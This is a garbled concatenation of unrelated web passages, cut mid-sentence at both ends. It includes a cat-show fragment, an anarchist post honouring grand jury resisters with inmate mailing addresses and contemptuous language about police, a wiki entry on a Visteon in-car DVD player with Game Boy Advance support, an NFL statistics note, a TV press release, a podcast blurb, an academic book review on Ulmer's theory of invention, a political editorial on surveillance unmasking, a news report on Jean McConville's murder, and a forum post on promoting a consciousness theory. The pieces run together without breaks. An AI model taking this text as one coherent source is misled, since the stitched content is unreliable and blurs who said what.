deviations. But the fancier is also a stellar performer. Some judges silently assess the feline specimen; others coo with babytalk. Barrett speaks right to the audience, explaining every physical facet of the cat, with hands so calming that the animal will let her lift its forelegs to force it into doing a literal catwalk
by undercover swine after the hearing. However, the bad news does not end there. Jack Rusk was sentenced to a year in prison–he accepted a plea bargain for a better deal–for defending himself against a brute with a gun. (Though the official charge was felony assault.) Nobody need write or analyze the oppressive nature of police in a revolutionary movement. Anarchists are already fully aware of their coercive deeds, arrogant demeanor, and half-cocked attitude. For us whose goal it is to resist all unjustified authority, the police express no mercy nor sympathy. For those of us who cannot help but scoff when a pig is “fatally wounded in the line of duty”, society restrains no wrath. How dare we not respect those who keep us safe from the bad guys? How dare we mock the men and women who risk their lives to protect us? How dare we minimize the tragedy of a shooting in which a police officer takes six bullets to the chest? And so on, and so on. If you are ever in the mood to experience total and irrevocable social ostracism–you should publicly and unapologetically profess the following statement: FUCK THE TROOPS… then sit back and watch as family and friends break ties with you. Behind your back (or to your face depending on your social structure) you will be called a wide array of insulting terms including terrorist, anti-American, communist, etc. (Incidentally, I would take no offense to holding any of those titles.) Depending on the political severity of your geographic enclave, you may be harassed, beaten, abused, occupationally terminated, bullied and investigated on suspicion of terrorist activities. The troops, after all, are our heroes. As a culture of civilization, we are indoctrinated from birth to believe, say and do things that are supportive of our masters. In our cribs, we internalize the sense of patriotism and nationalism that surrounds our lives from the television that plays in the corner to the flag that is adorned on walls, poles and bumper stickers. The majority of us are smuggled into the arms of religious pontification, Sunday School, where we are taught that our Earthly suffering is apart of God’s plan, and if we simply obey his authority, we will experience divine salvation for our strife. As children we are kidnapped and forced into re-education camps, wherein the little remaining aspect of our brains that still had the capacity to think for itself is stomped out by meaningless memorization and unquestioning respect for superiors. We learn then to live according to a strict schedule. We eat when they say we eat. We play when they say we play. We shit when they say we shit. All things considered, the degree to which the civilized glorify murderers like soldiers and cops is entirely predictable and not the least bit surprising. After all, murder in the name of economic expansion isn’t murder at all–it is protecting our freedom! Raping a land base of all its natural resources and causing it to become uninhabitable isn’t rape at all–it is industrialization! We can repeat and recount the myriads of accounts of police brutality, abuse of authority, and corruption of power over and over again. We can write long, overly-detailed books about the horrific actions of soldiers at home and abroad. We can craft especially articulate essays about the instability of authority and how the police do not exist to protect citizens, but in fact are merely an embodiment of state-power. The truth is…most people view policemen as good guys and soldiers as heroes. Heroes kill innocent babies, right? They bomb indigenous villages, right? A hero always puts money before the survival of life on Earth, right? If you have never played Call of Duty, you should. You really should. That is not a sarcastic request. Play the game. If nothing else, watch videos of others playing the game on YouTube. Never in my life have I seen a more heroic game. Behind a thin veil of violence, mind-numbing racism, and countless “Faggot!”‘s being uttered around every corner, there is something uniquely disturbing about Call of Duty. The solider, generally depicted as an American, is the hero. After 6 or 7 hours of playtime and untold amounts of death and despair, a child or young teenager will set his controller down after having simulated genocide and ecocide feeling a sense of accomplishment. As anarchists (if that is the label we who oppose hierarchy, statism, capitalism, and civilization choose to go by) we must be wary of choosing the most appropriate method of resistance. We are, after all, waging a war against the entire industrial world. The importance of understanding the bourgeois modes of control is paramount to our very survival. It is not required to hate every solider–but you must know that all soldiers who stand by their country are our enemies in combat. It is not necessary to hate all police officers–but when they come for us and lock our friends down and brutalize us and interrogate us and force us to testify against each other, they must be our enemies in action. If we do not stand in solidarity against those who daily attempt to break our resolve, there is little hope for real action. The NW Grand Jury will be locking down at least one more anarchist as of yesterday. Her name is Kerry Cunneen and she refused to testify against her comrades when subpoenaed–and we all know what happens after that. Unlike a certain snitch, Kerry will face a harsh punishment and go to prison for the safety of her comrades. She is putting her freedom, autonomy, and life at risk so that the actions of her local commune may be unfettered–never fearing the possibility of being ratted out. That loyalty should be honored by all of us. The loyalty of Matt, Maddy and Kteeo is equal, and is expressed every day that they refuse to testify against their comrades. Unlike soldiers, Grand Jury Resisters are not payed for their heroism. They are not glorified or given badges and medals for their courage. The evidence of their heroism is subtle and undying. It lives on in the ferocity of our resistance. While they sit locked up in a cage, we are motivated by their example of commitment, and organize more effectively. Their sacrifice makes our conflict more real and tangible. Matt, Maddy, Kteeo and Kerry are each one of our comrades. We write to them, and they write back to as many of us as possible. They fight on, struggling merely to survive each day. It was revealed that at least one of them was taken into isolated custody, which is a tormenting form of psychological torture that most soldiers could not even endure. And we, the resistance, cannot allow their suffering to be in vain. Cops and soldiers can have their Hollywood movies and socially constructed respect. They are shells of people–cogs in the State-Capitalist mechanism. The willingness to imprison yourself for the freedom of others, against all odds of revolutionary success; the simple diligence of placing the planet before your own happiness; the extraordinary impact they have on each and every one of us–that is special. They, the grand jury resisters, are the True Heroes. Please, do not be sparing in your letters to Kerry, Matt, Maddy, Kteeo, and Jack. It is our external contact with them that invigorates their spirit–and without us, they cannot go on. Here are the addresses for Matt and Kteeo. Maddy has yet to have been given an address for mail, and the same goes for both Jack and Kerry (who has not yet been found in contempt of court.) Katherine Olejnik #42592-086 FDC SeaTac, P.O. Box 13900 Seattle, WA 98198 Matthew Kyle Duran #42565-086 FDC SeaTac P.O. Box 13900 Seattle, WA 98198 Much solidarity Keep fighting, comrades! AdvertisementsThe Visteon Dockable Entertainment System (officially referred to as Dockable Entertainment featuring Game Boy Advance) is a portable DVD player created by Visteon in 2006 for the US market at an MSRP of $1299 USD.[1] The player is notable for containing officially licensed Game Boy Advance hardware, as Visteon partnered with Nintendo to announce the product at CES 2006.[2] Initially due out in April, the product was then delayed to May before finally launching in July of that year.[3][4][5] To celebrate the product's launch Visteon held a photography and writing contest.[6] The device was not sold at general retailers, but rather at car dealerships in combination with a roof docking head mount for installation, or already equipped in select models of certain vehicles.[7] On April 1, 2008 Visteon introduced a model mounted into headrests for $1699.[8][9] Later that year the company expressed interest in creating similar products for the Nintendo DS and Wii platforms, though neither materialized.[10] Hardware specifications [ edit ] The most common roof-mountable version is based on the Visteon XV101 portable DVD player, and shares specifications in all aspects except those regarding Game Boy Advance compatibility. 10.2" Flip Down LCD Display 6-Pin Auxiliary Port Infrared Port DVD Drive Game Boy Advance Cartridge Slot Alongside this, the player came with a wireless game controller (a modified Sky Active gamepad), a set of wireless headphones, a remote control, and compatibility with MP3 and WMA CD files.[11] Unique to the headrest model was a 7" TFT LCD screen, backlit DVD controls plus an additional remote, headphone and game controller.[8] Neither version of the hardware was backwards compatible with Game Boy or Game Boy Color games.[12] References [ edit ]Alex Smith completed 18 of 19 passes for the San Francisco 49ers against Arizona on Monday night. Or was it 19 of 20 passes? How about 20 of 21? The answers could depend upon two plays, not just the one San Francisco hopes the NFL changes from a running play to a forward pass. Why would anyone care? Smith needed 20 pass attempts to qualify for a single-game NFL record in completion percentage. Coach Jim Harbaugh contends a play first ruled to be a backward pass to Michael Crabtree was actually a forward pass. That might not be the only play to consider. The official play-by-play shows a penalty for defensive pass interference wiping out an apparent completed pass to 49ers receiver Mario Manningham during the 49ers' opening drive. It is unclear, however, whether the 49ers accepted the penalty. The flag was thrown on a second-and-4 play, so the 49ers would have gained nothing by accepting the penalty. If the 49ers did not accept the penalty, the league could conceivably change the play from 7-yard penalty to 7-yard completed pass. The NFL made a similar change in Week 2 last season. I'll update as we learn more.via press release: SCIENCE CHANNEL PREMIERES THE UNEXPLAINED FILES INVESTIGATING BIZARRE PHENOMENA FROM AROUND THE WORLD — Brand new Science Channel series premiere on Wednesday, August 28th at 9PM ET/PT — This summer, Science Channel unveils some of the most shocking and mind-boggling cases from around the world in the series premiere of THE UNEXPLAINED FILES. From mysterious disappearances and UFO encounters, to unidentified fanged predators and reported curses, THE UNEXPLAINED FILES investigates actual, inexplicable occurrences that have confounded scientists and inspired legends. Science Channel kicks off the premier episode with VALENTICH. THE UNEXPLAINED FILES delves into the story of the missing pilot who reported seeing a strange and unusual aircraft hovering over him just minutes before he disappeared. THE UNEXPLAINED FILES will then venture to Texas for the story of the TEXAS BLUE DOGS researching the bizarre hairless, blue-skinned, blue-eyed and hunch-backed creatures that prey on local livestock and farm animals–leaving Texans questioning what these strange animals could possibly be. Tune in for the premiere Wednesday, August 28th at 9PM ET/PT on Science Channel! For more information the episode descriptions are below: Valentich- On October 21, 1978, 20-year-old Australian pilot Frederick Valentich rented a single engine Cessna 182L and left Melbourne, Australia to begin a 48-mile training flight. During the flight, Valentich told Melbourne air traffic control that an aircraft about 1,000 feet above him was accompanying him. He said, “The strange aircraft is hovering on top of me again. It is hovering and it’s not an aircraft” Frederick Valentich and his plane were never seen again. Texas Blue Dogs- Since 2004 bizarre hairless, blue-skinned, blue-eyed and hunch-backed dogs have been seen in Texas attacking and mutilating livestock and farm animals. The creatures have been caught on film and camera, and their bodies have been found. One Texas doctor even has one stuffed and mounted in her fireplace. But the classification of these creatures is still very much a matter of great debate among experts.On this episode of Life Lessons, Colton is joined by both Doctor from the SSAA Podcast and Josh Dunham from Senpai Coast to Coast and Wave Motion Cannon to cover Chapter 76 of the manga, in which Kagura plays the kick the can with some old guy. After the Manga Recap, we go discuss the meaning of the chapter title during the Life Lessons segment, followed by an Anime/Manga Comparison segment discussing the second half of Episode 48 of the anime. Topics of discussion on this episode include the concept of what it means to grow up, critiques of the presentation for this chapter of the manga, and how annoying and lonely all of our childhoods were! Enjoy! Join us next episode, as we cover the Infant Strife arc with unofficial Gintama translator, Bomber D Rufi! DOWNLOAD HERE 0:00:00 Introduction 0:06:12 Manga Recap: Ch 76 1:08:16 Life Lesson #76 1:31:32 Anime/Manga Comparison Ep 48(B) 1:45:58 The End Show Notes Buy Gintama Volume 9 Or tell Viz Media how much you want it digitally Watch Episode 48 of the anime on Crunchyroll Viz edit mentioned in the episode AdvertisementsWriting the Paradigm HEURETICS: The Logic of Invention Gregory L. Ulmer The Johns Hopkins University, 2715 North Charles St., Baltimore, MD 21218-4319; 267 pages; paper, $13.95 1. How do we not know we think, yet think? It is equally deadly for a mind to have a system or to have none. Therefore, it will have to decide to combine both. Frederich Schlegel Gregory Ulmer (a.k.a. 'Glue') has been for some time developing a theory of invention that would be appropriate and productive for those cultural theorists who have an interest in electronic media. (Invention, classically defined in oral and print culture, is the art of recalling and discovering what it is that one would think or say about a given subject. In electronic culture, invention takes on new ramifications.) In his Applied Grammatology (1985), Ulmer moves from Derridean deconstruction (a mode of analysis that concentrates on inventive reading) to grammatology (a mode of composition that concentrates on inventive writing); that is, he moves towards exploring "the nondiscursive levels - images and puns, or models and homophones - as an alternative mode of composition and thought applicable to academic work, or rather, play" (xi). Ulmer focuses primarily on a theory of invention in terms of these images and puns, which would lay bare associational thinking, co-incidences and accidents, yet non-disciplinary meaning. His anti-method of invention, therefore, moves from a linear, discursive production of discourse to a non-linear, hypertextual/multi-media production. In Teletheory (1989), Ulmer rethinks a theory of genre that would complement his grammatological theory of invention. (Here, we can see that a theory of invention is an incipient set of genres; a theory of genres, an incipient set of aids to reflection about writing.) Ulmer does for cultural theorists what Hayden White in Tropics of Discourse and elsewhere does for historians, namely, invites cultural theorists and historians to reinvent "doing" cultural theory and history as they are "doing" them. One of the genres that Ulmer develops is "Mystory"/"Mystoriography" (with variations such as history, herstory, maistrie, mystery, my story), which he sees as a post(e)-pedagogy. Freud, for example, wrote a kind of mystory when he developed self-analysis, psychoanalysis, not knowing what it was he was "doing" while he was doing it. The process of discovery in mystory is proleptic, with the question forever arriving out of perpetually re-answering it. This is composing as discovery. This is writing what will have been. The tense is the future perfect. Hence, the paradox, which Lyotard refers to as "the paradox of the future (post) anterior (modo) (Postmodern Condition, 81). The genre of Mystory is especially appropriate now, for in many areas of cultural theory the subject (or the agent) that-would-presume-to-know what s/he is "doing" is no longer tenable. Another way of putting this is that whereas in a disciplinary age subjects-of-knowing were given ways of specifically "doing" work that would count as work, now in a non- or post-disciplinary age, subjects that do not know can nonetheless have a generic autobiographical protocol for writing (mystory) that can give birth to institutional practices for change. Ulmer does not have a substantial (sub-ject) life, and yet he does in the inventing of one or several lives woven together. If I may give a quick example from the middle of Mystory: if we take my name Victor Vitanza, examine it carefully, etymologically and punningly, etc., we might get the following heuretic (grammatological) reading. Victor generally means "Conqueror." Vita signifies "Life." Anza signifies (in Italia) "Against." My family name, Vitanza (the sub-stance of my Being) and its possible meaning, when thus disclosed, became rather disconcerting. The very idea that my heritage was against life! However, when I recalled that my first name signified conqueror and put the full name together, "conqueror of death," I begin to feel much better. Does it all stop here? No. It only rebegins. (This form of analytic reading goes beyond mere deconstructive textual analysis, for it is grammatological, i.e., compositional in its emphasis.) When looking at Finnegans Wake, which is against death, I discovered that Joyce had invented mystory before I was even born... as "Victa Nyanza" (558.28). 'Tis a name that is echoed throughout the wake, signifying the origins of the Nile and the two great bodies of water from which the Nile arises: Victoria and Albert Nyanza (558.27, 598.5-6). Freud has his Nile; V.V. has his. You, yours. And yet, there is the pun on "Nyanza" as No Answer (89.27) in disrespect to origins and in respect to proleptic (perverse, reversed) thinking. The Nil/e is "soorcelessness" (23.19). The connections continue to resonate. (With these possible connections in mind, my writing is propelled from paradigm to paradigm. It's a matter of my connecting the linguistic dots and acoustical images of my/our lives and everything in them without predetermined sequential numbering. Knowing, knowledge, is up for grabs perpetually. So I have not only a deconstructive name but also and more importantly a grammatological name. You do, too!) The third book of Ulmer is the one that I am most concerned with, Heuretics: The Logic of Invention. (I see the book as the lost locus of three, which ends or rebegins with three, as in the counting system of one, two, and three-as-"some-more," i.e., as excess.) This book more than the others carefully defines in terms of a theory of invention how "to play" on the road to Serendip(ity), while confessing ignorance of knowing what the rules of the game are. The "rules" are often referred to as the "impossible." Therefore, Ulmer's is "a Discourse against Method" (12) un/just as Paul Feyerabend's is. But "against" here paradoxically means not only contra to but also along side. Heuretics calls for a return of "a rhetoric/poetics leading to the production of a new work" (4). (Rhetoric and Poetics in their battle with traditional philosophy have been the 2,500 year old straw wo/man! Hence, the return of the politically suppressed.) But as an anti-methodology, heuretics is not concerned with critique or with "what might be the meaning of an existing work?", but with "a generative experiment: Based on a given theory, how might another text be composed?" (4-5). In other words, as Ulmer explains, heuretics does not critique ludic discourses for not being political but calls for them to invent a (non-reactionary) politics (5). The principle of invention, then, is not that of saying what something is by virtue of what it is 'not,' but by way of affirming heretofore unacceptable connections. Heuretics is heretical (or her-ethical). Historically, women have been defined in terms of their lack of a masculine signifier, the phallus. Ulmer's principle of invention, however, is an economy of thinking without reserve (lack), which would be a leap out of Oneness and binaries to threes-as-excess (see Derrida 258-60). Such a locus of thinking, reading, and writing fundamentally negates all the basic principles of (masculine) logic. 2. An anti-model of how we will have thought: For me the number three is important, but simply from the numerical not the esoteric point of view: one is unity, two is double, duality, and three is the rest. When you've come to three, you have three million - it's the same thing as three. Marcel Duchamp One of the invidious tests in the academy for whether a notion or a practice has any value is whether or not it can be generalized (is generic, accountable) and whether or not it is transferable (codifiable, teachable). All of Socratic and Platonic thinking (dialectics) deals with the central question of whether or not something (justice, piety, virtue, rhetoric, etc.) can be taught. If not, then, it is a mere knack, irrational, and thus left to the forces of chance. I would hope that we are far from being ruled by this kind of thinking. Not all knowledge is objective; much is personal knowledge, as Michael Polanyi says: We can know a great deal more than we can articulate. Not all knowledge is to be determined by physis or nomos but also by kairos, which as Eric C. White reminds us is a principle of "spontaneity and risk" (20). (Risk, we will ever return to!) Ulmer, as I suggested, situates himself in the paradox of saying Yes twice to the text of his problem: to having a method (accountability) and not having a method (being unaccountable). This is his heretical act of negating the principle of non-contradiction and thereby allowing for the return of the excluded third. Ulmer may at times count from 1 to 10, but at other times he counts by way of 1, 2, "some more" (excess). When accountable in his unaccountability, he gives us what he calls CATTt. (If you click here, you will see Ulmer's pictorial representation of CATTt.) The acronym stands for C = Contrast (opposition, inversion, differentiation) A = Analogy (figuration, displacement) T = Theory (repetition, literalization) T = Target (application, purpose) t = Tale (secondary elaboration, representability) Ulmer boldly opens his book with the unfolding of this anti-method. (There is no way that I can summarize Ulmer's particular explanation that is a brilliant performance. This is where exposition fails. You will have to read the opening pages yourself. And then you will be hooked. Your curiosity will only bring life to the CATTt and yourstory!) But I can point to a few generalizations about the heuristic. Contrast is intended in a Sophistic sense; that is, it functions as the second part of Dissoi Logoi, arguing in a perverse fashion for the opposite. When the dominant discourse becomes a Cartesian Discourse on Method, for example, then someone like an Andre Breton can develop an anti- or counter-Cartesianism, or Surrealism, a " 'false discourse on method' that would be [however] not just contrary to Descartes but completely different" (Ulmer 14). It is this pressing of the anti-method that can remove us from the simple opposite, or binary, out and beyond to something novel. Ulmer explains: The strategy is heuristic, employing several ad hoc rules that require continuous decisions and selections (there is no 'algorithm' for this exercise). The chief such rule is to read the Discourse at the level of its particulars - its examples, analogies, and evidence - rather than at the level of its arguments. The antimethod will break the link between the exposition and the abstract arguments that provide the coherence of the piece.... Accept Descartes's particulars, that is, but offer a different (for my exercise, an opposite) generalization at each point, to carry the examples elsewhere, to displace them. The idea is to strip off the level of argument and replace it with an opposite argument that should in turn be made similarly coherent (secondary elaboration). (12) In this way, Ulmer is able to say Yes to the text twice (both Descartes and Breton). The Dissoi Logoi approach, however, is not limited to arguing, for what CATTt stresses is poetizing. Again, while Freud was developing (collaboratively) his notions of psychoanalysis, say with Dora, he on occasion spoke of being "hysterical" himself. Confused, he found himself writing fiction, poetizing (his guesses, his filling in the mise-en-abyme) while simultaneously writing within the so-called scientific protocol that his colleagues demanded he follow. Freud says Yes to the text twice. (Unfortunately, he did not say Yes to both the Oedipal theory and, now more importantly, the Seduction Theory. CATTt would have invited him to practice such an affirmation of opposites and to search for third options.) By itself, the acronym of five conceptual starting places, CATTt, looks as if it overlaps with a number of other rather conventional sets of topoi, for example, Aristotle's 28, Cicero's 16, Kenneth Burke's Pentad (perhaps his four master tropes, which Hayden White uses), or Kenneth Pike's and Richard Young's tagmemic nine-celled matrix or any variation of it. However, Ulmer's intention for its usage is very different. Whereas heuristics, or inventional procedures, focus more on topoi as arguments instead of tropes, Ulmer's intention stresses the latter over the former. (As Ulmer progresses in his discussion, he introduces the term Chora to better suggest what the word tropes cannot since caught in the binary of topos/trope.) As I have said, Ulmer's is not a conventional argumentative thinking and writing; his is a grammatological approach to thinking and writing, which emphasizes picto-ideogrammatic, aesthetic representations. Writing intuitively. The CATTt is the perverse side of Aristotle and perhaps should be seen also as an extension of Aristotle's Poetics, but with the perverse addition of comedy over tragedy, so as perhaps to reach for a tragic-comedy, or joyful pessimism. Ulmer's purpose - as I understand it - is not exclusively in support of the Left or the Right or what is far Left of what is humanly possible. Like a Sophist, he supports that which is not being said, the weaker argument or the supplementary notion, but with the purpose of passing out of the binary to excess. Ulmer introduces CATTt as a "modest proposal" in support of many methodologies, but especially those outside the dominant discourse: "to invent an electronic academic writing the way Breton invented surrealism, or the way Plato invented dialectics: to do with 'Jacques Derrida' (and this name marks a slot, a passe-partout open to infinite substitution) what Breton did with Freud (or - why not? - what Plato did with Socrates)" (15). Such a proposal stands diametrically opposed to the academic protocol of writing (linear, hierarchical, cause/effect writing), which is bolstered by traditional heuristics. Ulmer's proposal looks toward "the logic of cyberspace" (hypermedia). Such a place (wherever it might be) can for certain be colonized as if it were a product of Euclidean typographic culture. Links might be made in terms of High Scholastic trees. The new logic is nonlinear, non-Euclidean, and is anti-tree, but rhizomatic. The choice of the former or the latter is not our choice in many ways, for the medium (hypermedia) as the message will change the conditions for writing, opening up new possibilities. The orientation toward product does become one of process, and perpetually so. But process is not to be studied for the establishment of a product. Process, situated in the future perfect, is everything. The movement from orality to literacy is now rushing on to a third place, what Ulmer refers to as electracy. And academic writing will have changed. Ulmer, in the midst of this change, is inventing practices that will invite us all to disengage in an unkind of writing practice that we are "inventing while [we are] inventing it" (17). The paradox and the avant-garde! Ulmer would have us practice "hyperrhetoric... which is assumed to have something in common with the dream logic of surrealism" (17). It is "a new rhetoric... that does not argue but that replaces the logic governing argumentative writing with associational networks" (18) Yes, those of us familiar with writing in the new media can easily understand that Ulmer is talking about Hypertext (extended texts) the way that George P. Landow, Jay David Bolter, and Richard A. Lanham have most recently. And yet, Ulmer would go beyond. And has. Ulmer speaks of "chorography (the name of the method that I will have invented)" (26). 3. Some More ("Esperable Uberty"/ X cess) Dexter: Oh yes, yes, yes! Sebastian: Funnier than that? Dexter: Oh, absolutely. Yes. Dexter: Now on the St. Louis team we have Who's on first, What's on second, I don't Know is on third.... Abbott and Costello I tem: Ulmer's notion of place (the Where?), as I have suggested, is 'the thing' that has been systematically excluded. He, like Kristeva and Derrida before him, returns to Plato's Timeaus and specifically the discussion of the three kinds of nature: Being, Chora, and Becoming. The excluded is the Chora. The excluded third, or middle (muddle).... In the buginning is the woid, in the muddle is the sounddance. James Joyce I tem: The Chora is neither male nor female, but third genders. It is the twisting, turning, folding of cyberspace. It is multimedia. And it has a totally new reconception of memory. The Chora is the impossible. CATTt can only be a stand-in for this impossibility. Ulmer writes: "My problem, in inventing an electronic rhetoric by replacing topos with chora in the practice of invention, is to devise a 'discourse on method' for that which, similarly, is the other of method" (66). The key in great part is the new concept of memory. Ulmer explains that Chorography as a practice corresponds to recent developments in computing such as "connectionism." Opposed to the classical concept of memory as storing information in some specific locale from which it may be retrieved, "connectionist designs of computer memory" are not stored at any specific locus, but in the myriad relationships among various loci (36). (It's worth repeating: Not in but among.) Entitlement has gone to the computer, if it can still be called entitlement. And it entitles while it perpetually disentitles. The bits and bytes, though numbered, are not as we keep touting in commonsensical ways predetermined according to algorithmic connections. At least, not in hypertext and hypermedia; from a 'traditional' perspective, many scattered possible readings or con-fusions are possible in multimedia environments. Hence, Yes is the answer to every possible question concerning every possible connection.The 'traditional' grammars and laws concerning coordination and subordination no longer hold in multimedia. Multimedia are entries into possible worlds. Yes, we have arrived to find ourselves 'as if among' the strange lists in Borges's Chinese Encyclopedia (see Foucault xv). Space has changed. "In short," Ulmer says, "the change in thinking from linear indexical to network association--a shift often used to summarize the difference between alphabetic and electronic cognitive styles... is happening at the level of the technology itself" (36). As hardware and software change, so institutions and disciplines similarly change. And so does the thinking and writing that gets generated in and by them. If this sounds farfetched, let us not forget that the medium is the message. And if we are not aware, let's understand that there are students in classes today who not only have watched a lot of television (which Ulmer sees as not a problem, but a cure) but also have never written or typed anything on paper but only on a monitor. (Ulmer does not write elegies for Gutenberg.) And more potentially interesting, there are graduate students today who have seldom, if ever, stood in front of human beings in a classroom when they teach, but communicate for the most part to and with their students by way of on-line discussion lists or MOOs. In fact, many of these student teachers do not see themselves as "teachers" but as "facilitators." The medium teaches. And yet, how is one to write by way of the Chora, when apparently there is no way? Ulmer muses: An important aspect of chorography is learning how to write an intuition, and this writing is what distinguishes electronic logic (conduction) from the abductive (Baker Street) reasoning of the detective. In conjunction the intuitions are not left in the thinker's body but simulated in a machine, augmented by a prosthesis (whether electronic or paper). This (indispensable) augmentation of ideological categories in a machine is known in chorography as "artificial stupidity," which is the term used to indicate that a database includes a computerized unconscious. (37-38) I tem: I would point us now (for the sake of identification and then contrast on the way to excess) to Charles Sanders Peirce's notion of thinking, namely, to his cryptic phrase "esperable uberty." What can this wording possibly mean? Thomas A. Sebeok suggests that esperable "must mean 'expected' or 'hoped for' " (1). And uberty, "rich growth, fruitfulness, fertility, copiousness, abundance" (1). Sebeok continues: [Peirce] explained that it should be one of the two principal aims of logicians to educe the possible and esperable uberty, or "value in productiveness," of the three canonical types of reasoning, to wit: deduction, induction, and abduction (the latter term alternatively baptized retroduction or hypothetic inference). It is the uberty, that is, the fruitfulness, of this last type of reasoning that, he tells us, increases, while its security, or approach to certainty, minifies. (1) The classical doctrines of certainty (formal logic) and probability (informal logic) progressively give way to possibility or, better put, chance in the sense of hazard or accident. "A throw of the dice does not abolish hazard." As we move conceptually and experientially toward the third (abduction, chance), so we move toward greater risk but with greater payoffs. Paralleling the three doctrines of certainty, probability, and accident, and the three Peircean logics, are three aids to reflection: algorithms (which find the one correct answer), heuristics (which invite several reasonable answers), and aleatory procedures (which disengage by way of a throw of the dice or randomness). Allow me to hazard a dis/connection here, as I already have throughout this review. Note how each of these groupings are in threes, or form a triplicity, or lead to a trilemma. As Peirce moves toward threes he hazards the possibility of risking everything to gain everything. He hazards the loss of rationality. He and others move, I would think, toward reintroducing the excluded third or middle term. (The principles of logic are identification, non-contradiction, and the excluded middle.) With the return of the third comes the possibility of the return of the repressed/suppressed, unnamely, all that which has not been considered canonized thinking. All that which has been excluded for the sake of meaning! Esperable Uberty! But Peirce does not venture that far from meaning with his speculative rhetoric. Ulmer makes clear (215-19) that the present-day technology that establishes the conditions for chorography and the paralogic of conduction risks an even greater return or loss than Peirce's abduction could ever hope for. Esperable uberty has been and is continuing to be exponentially refolded to third (rhizomatic) relationships. As Ulmer points: "Here is a principle of chorography: do not choose between the different meanings of key terms, but compose by using all the meanings (
officials engaged in antiterror or espionage investigations. Ms. Rice would have had no obvious need to unmask Trump campaign officials other than political curiosity. We’re told by a source who has seen the unmasked documents that they included political information about the Trump transition team’s meetings and policy intentions. We are also told that none of these documents had anything to do with Russia or the FBI investigation into ties between Russia and the Trump campaign. While we don't know if Ms. Rice requested these dozens of reports, we are told that they were only distributed to a select group of recipients—conveniently including Ms. Rice. Advertisement All of this helps to explain the actions in the last week of House Intelligence Chairman Devin Nunes, the one official in Washington who seems interested in pursuing the evidence of politicized surveillance. Mr. Nunes was roundly criticized by Democrats and the media last week for publicly revealing at least one instance of Obama White House unmasking, albeit without disclosing any names. Now we know he is onto something. And we know that Mr. Nunes had to go to the White House to verify his information because the records containing Ms. Rice’s unmasking request are held at the National Security Council. Where are the civil libertarians when you really need them? These columns support broad surveillance powers for national security, but executive officials need to be accountable if those powers are abused. If congressional oversight of U.S. intelligence operations is going to be worth the name, then it should include the unmasking of a political opponent by a senior official in the White House. Democrats certainly raised a fuss during the Bush years and after Edward Snowden kicked off the debate about “metadata,” which are merely telephone numbers without names. Oregon Senator Ron Wyden went so far as to introduce a bill in 2013 to strengthen the ban on “reverse targeting”—in which intelligence agencies surveil foreigners but with the goal of capturing U.S. citizen communications. Advertisement Yet now that there’s evidence that the Obama Administration may have unmasked Trump officials, Democrats couldn’t care less. Adam Schiff, the ranking Democrat on House Intelligence, has spent the past week denouncing Mr. Nunes for revealing that a name was unmasked and for having sources at the White House. But he hasn’t raised a peep about the unmasking itself or who was behind it. The news about Ms. Rice’s unmasking role raises a host of questions for the Senate and House intelligence committees to pursue. What specific surveillance information did Ms. Rice seek and why? Was this information related to President Obama’s decision in January to make it possible for raw intelligence to be widely disbursed throughout the government? Was this surveillance of Trump officials “incidental” collection gathered while listening to a foreigner, or were some Trump officials directly targeted, or “reverse targeted”? We were unable to locate Ms. Rice Monday to ask for comment, and she hasn’t addressed the unmasking as far as we know. But asked last month on the “PBS NewsHour” that Trump officials might have been surveilled, she said, “I know nothing about this” and “I was surprised to see reports from Chairman Nunes on that account today.” She certainly deserves her turn under oath on Capitol Hill. None of this should deter investigators from looking into the Trump-Russia connection. By all means follow that evidence where it leads. But the media have been running like wildebeest after that story while ignoring how the Obama Administration might have abused domestic surveillance for its political purposes. Americans deserve to know the truth about both.Image copyright AP Image caption Mr Adams made his comments in a US television interview The family of Jean McConville have reacted with anger after Gerry Adams referred to her kidnap and murder as something that "happens in war". The Sinn Féin President made his comments in a US television programme. Mrs McConville, a widowed mother-of-10, was abducted, murdered and secretly buried by the IRA in 1972. Her son Michael said his mother's murder should be treated as a war crime. "IRA men came and women came and took our mother out of our own home and took her away and interrogated her for six days and brought her down to a beach, dug a hole and shot her dead," he said. "It was an execution so this here should be a war crime and people should be held responsible for it to be a war crime." Mr Adams made his comments in a US television interview with CBS presenter Scott Pelley. Image caption Widow Jean McConville, 37, left behind 10 children when she was abducted and murdered Jean McConville became known as one of the so-called Disappeared. The IRA admitted in 1999 that it murdered and buried at secret locations nine of the so-called Disappeared. Searches have been carried out by the Independent Commission for the Location of Victims' Remains, established in 1999 by treaty between the British and Irish governments to obtain information in strictest confidence that may lead to where the bodies are buried. Eight of these bodies have been confirmed as found but others remain missing. After numerous searches, Mrs McConville's remains were finally found at Shelling Hill beach in County Louth in August 2003.As someone who also has discovered more or less how consciousness works (not human consciousness, but sense in general), I would say in all honesty that it doesn't matter much what you do next, as long as you enjoy it. So that you may benefit from my experience, here are things that I have done and their results thus far: Write about your discovery to try to explain it. I have two overlapping blogs: Sense, Essence, and Existence Multisense Realism I have two overlapping blogs: Results: A great way to consolidate ideas in one place so that they can be refined and searched. Some people are very encouraging and say wonderful, validating things, others want to debate with you, which can be rewarding, and others just hurl insults in your general direction. As Paul King mentioned, attend and present your material at conferences such as THE SCIENCE OF CONSCIOUSNESS - 2016 TUCSON CONFERENCE such as Results: Very worthwhile. I have met some great people, had some great conversations...it's like being back in college again but with all very cool and smart people who like to party and talk about consciousness. If you have any idols in the field of consciousness, you might even get to meet them there. For the 20th anniversary, they made a great poster and I was able to get a lot of the stars to sign it. Deepak Chopra, David Chalmers, Stuart Hameroff, Christof Koch, Giulio Tononi, Bernard Baars, Susan Blackmore, Ned Block, John Searle, David Eagleman, etc. as well as some of the rising stars like Wai Tsang. It's a great time if you have the time and money to get out there. Start a Meetup Group in your area. in your area. This was another fun way to meet great people and have interesting conversations. Ultimately it was limited by the fact that only certain groups of people have time to go to meetup groups and those people are often looking for general intellectual stimulation and don't have the particular interest to sustain much deep discussion. Make Use of Social Media. I have a Facebook account Multisense Realism Do Interviews. Those who have taken the time to watch or listen to Radio and TV Interviews Randomly pester famous people with unsolicited messages about your ideas. I admit to doing this more than a few times, but it doesn't meet with much success. I have occasionally received brief notes of encouragement from the likes of Chalmers, Chomsky, and Tononi, but I would assume that it is more about being polite to potential stalkers than anything else. They don't have the time or professional risk tolerance to really engage with a stranger online about their goofy projects...they get tons of these kinds of emails and it's really not appropriate for them to get involved. Chances are they have heard of a dozen theories that are similar to yours. Even if its brilliant and unique, I imagine that you seem like just another pidgeon who wants a breadcrumb. While I have sniffed around the idea of writing a book or trying to get a paper published, it has not been in the cards thus far. This is not 